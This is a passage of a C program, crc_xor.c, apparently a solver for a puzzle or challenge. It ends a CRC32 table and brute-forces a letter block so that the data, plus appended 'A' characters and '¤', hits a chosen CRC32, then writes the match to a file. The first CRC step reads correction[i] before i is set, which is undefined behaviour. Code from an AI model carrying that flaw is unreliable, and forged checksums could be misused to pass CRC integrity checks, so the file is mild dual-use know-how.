0x14015c4f, 0x63066cd9, 0xfa0f3d63, 0x8d080df5,
0x3b6e20c8, 0x4c69105e, 0xd56041e4, 0xa2677172,
0x3c03e4d1, 0x4b04d447, 0xd20d85fd, 0xa50ab56b,
0x35b5a8fa, 0x42b2986c, 0xdbbbc9d6, 0xacbcf940,
0x32d86ce3, 0x45df5c75, 0xdcd60dcf, 0xabd13d59,
0x26d930ac, 0x51de003a, 0xc8d75180, 0xbfd06116,
0x21b4f4b5, 0x56b3c423, 0xcfba9599, 0xb8bda50f,
0x2802b89e, 0x5f058808, 0xc60cd9b2, 0xb10be924,
0x2f6f7c87, 0x58684c11, 0xc1611dab, 0xb6662d3d,
0x76dc4190, 0x01db7106, 0x98d220bc, 0xefd5102a,
0x71b18589, 0x06b6b51f, 0x9fbfe4a5, 0xe8b8d433,
0x7807c9a2, 0x0f00f934, 0x9609a88e, 0xe10e9818,
0x7f6a0dbb, 0x086d3d2d, 0x91646c97, 0xe6635c01,
0x6b6b51f4, 0x1c6c6162, 0x856530d8, 0xf262004e,
0x6c0695ed, 0x1b01a57b, 0x8208f4c1, 0xf50fc457,
0x65b0d9c6, 0x12b7e950, 0x8bbeb8ea, 0xfcb9887c,
0x62dd1ddf, 0x15da2d49, 0x8cd37cf3, 0xfbd44c65,
0x4db26158, 0x3ab551ce, 0xa3bc0074, 0xd4bb30e2,
0x4adfa541, 0x3dd895d7, 0xa4d1c46d, 0xd3d6f4fb,
0x4369e96a, 0x346ed9fc, 0xad678846, 0xda60b8d0,
0x44042d73, 0x33031de5, 0xaa0a4c5f, 0xdd0d7cc9,
0x5005713c, 0x270241aa, 0xbe0b1010, 0xc90c2086,
0x5768b525, 0x206f85b3, 0xb966d409, 0xce61e49f,
0x5edef90e, 0x29d9c998, 0xb0d09822, 0xc7d7a8b4,
0x59b33d17, 0x2eb40d81, 0xb7bd5c3b, 0xc0ba6cad,
0xedb88320, 0x9abfb3b6, 0x03b6e20c, 0x74b1d29a,
0xead54739, 0x9dd277af, 0x04db2615, 0x73dc1683,
0xe3630b12, 0x94643b84, 0x0d6d6a3e, 0x7a6a5aa8,
0xe40ecf0b, 0x9309ff9d, 0x0a00ae27, 0x7d079eb1,
0xf00f9344, 0x8708a3d2, 0x1e01f268, 0x6906c2fe,
0xf762575d, 0x806567cb, 0x196c3671, 0x6e6b06e7,
0xfed41b76, 0x89d32be0, 0x10da7a5a, 0x67dd4acc,
0xf9b9df6f, 0x8ebeeff9, 0x17b7be43, 0x60b08ed5,
0xd6d6a3e8, 0xa1d1937e, 0x38d8c2c4, 0x4fdff252,
0xd1bb67f1, 0xa6bc5767, 0x3fb506dd, 0x48b2364b,
0xd80d2bda, 0xaf0a1b4c, 0x36034af6, 0x41047a60,
0xdf60efc3, 0xa867df55, 0x316e8eef, 0x4669be79,
0xcb61b38c, 0xbc66831a, 0x256fd2a0, 0x5268e236,
0xcc0c7795, 0xbb0b4703, 0x220216b9, 0x5505262f,
0xc5ba3bbe, 0xb2bd0b28, 0x2bb45a92, 0x5cb36a04,
0xc2d7ffa7, 0xb5d0cf31, 0x2cd99e8b, 0x5bdeae1d,
0x9b64c2b0, 0xec63f226, 0x756aa39c, 0x026d930a,
0x9c0906a9, 0xeb0e363f, 0x72076785, 0x05005713,
0x95bf4a82, 0xe2b87a14, 0x7bb12bae, 0x0cb61b38,
0x92d28e9b, 0xe5d5be0d, 0x7cdcefb7, 0x0bdbdf21,
0x86d3d2d4, 0xf1d4e242, 0x68ddb3f8, 0x1fda836e,
0x81be16cd, 0xf6b9265b, 0x6fb077e1, 0x18b74777,
0x88085ae6, 0xff0f6a70, 0x66063bca, 0x11010b5c,
0x8f659eff, 0xf862ae69, 0x616bffd3, 0x166ccf45,
0xa00ae278, 0xd70dd2ee, 0x4e048354, 0x3903b3c2,
0xa7672661, 0xd06016f7, 0x4969474d, 0x3e6e77db,
0xaed16a4a, 0xd9d65adc, 0x40df0b66, 0x37d83bf0,
0xa9bcae53, 0xdebb9ec5, 0x47b2cf7f, 0x30b5ffe9,
0xbdbdf21c, 0xcabac28a, 0x53b39330, 0x24b4a3a6,
0xbad03605, 0xcdd70693, 0x54de5729, 0x23d967bf,
0xb3667a2e, 0xc4614ab8, 0x5d681b02, 0x2a6f2b94,
0xb40bbe37, 0xc30c8ea1, 0x5a05df1b, 0x2d02ef8d,
};
void display(char* str, char end)
{
printf("%s%c", str, end);
fflush(stdout);
}
/**
* Write the content of correction to a file and exit.
*/
void write_exit(char* correction, size_t s)
{
display(correction, '\n');
FILE* f = fopen(filename, "w");
fwrite(correction, s, 1, f);
fclose(f);
}
int main(int argc, char* argv[])
{
uint const crcinit = strtoul(argv[1], NULL, 10) ^ 0xFFFFFFFF;
uint const goal = strtoul(argv[2], NULL, 10) ^ 0xFFFFFFFF;
uint const r = strtoul(argv[3], NULL, 10);
uint crc;
unsigned char correction[SIZE_CORRECTION_BLOCK+1];
uint crcs[SIZE_CORRECTION_BLOCK];
// Setup filename
snprintf(filename, 32, OUTPUT_FILE_FORMAT, argv[0]);
// Set every byte to the minimum value
memset(correction, MIN_VALUE, SIZE_CORRECTION_BLOCK);
correction[SIZE_CORRECTION_BLOCK] = '\0';
register uint i;
printf("crcinit=%u goal=%u rotations=%u\n", crcinit, goal, r);
// Build original CRCs
crcs[0] = ((crcinit >> 8) & 0x00FFFFFF) ^ crc32tab[(crcinit ^ correction[i]) & 0xFF];
for(i=1;i<SIZE_CORRECTION_BLOCK;i++)
{
crcs[i] = ((crcs[i-1] >> 8) & 0x00FFFFFF) ^ crc32tab[(crcs[i-1] ^ correction[i]) & 0xFF];
}
display(correction, '\r');
while(1)
{
// Compare
crc = crcs[SIZE_CORRECTION_BLOCK-1];
// A, r times
for(i=r;i--;)
{
crc = ((crc >> 8) & 0x00FFFFFF) ^ crc32tab[(crc ^ 'A') & 0xFF];
}
// ¤ == 0xc2a4
crc = ((crc >> 8) & 0x00FFFFFF) ^ crc32tab[(crc ^ '\xc2') & 0xFF];
crc = ((crc >> 8) & 0x00FFFFFF) ^ crc32tab[(crc ^ '\xa4') & 0xFF];
if(crc == goal)
{
write_exit(correction, SIZE_CORRECTION_BLOCK);
return 0;
}
// Update correction block
i = SIZE_CORRECTION_BLOCK;
while(i--)
{
correction[i]++;
if(correction[i] == 91)
correction[i] = 97;
if(correction[i] != MAX_VALUE)
break;
correction[i] = MIN_VALUE;
}
if(i <= SIZE_CORRECTION_BLOCK - 4)
display(correction, '\r');
// If we reached the first byte, crc[-1] does not exist
if(!i)
crcs[i++] = ((crcinit >> 8) & 0x00FFFFFF) ^ crc32tab[(crcinit ^ correction[i]) & 0xFF];
// Only the last i chars were changed, no need to update the others CRCs
for(;i<SIZE_CORRECTION_BLOCK;i++)
{
crcs[i] = ((crcs[i-1] >> 8) & 0x00FFFFFF) ^ crc32tab[(crcs[i-1] ^ correction[i]) & 0xFF];
}
}
return 1;
}
</--- crc_xor.c --->
|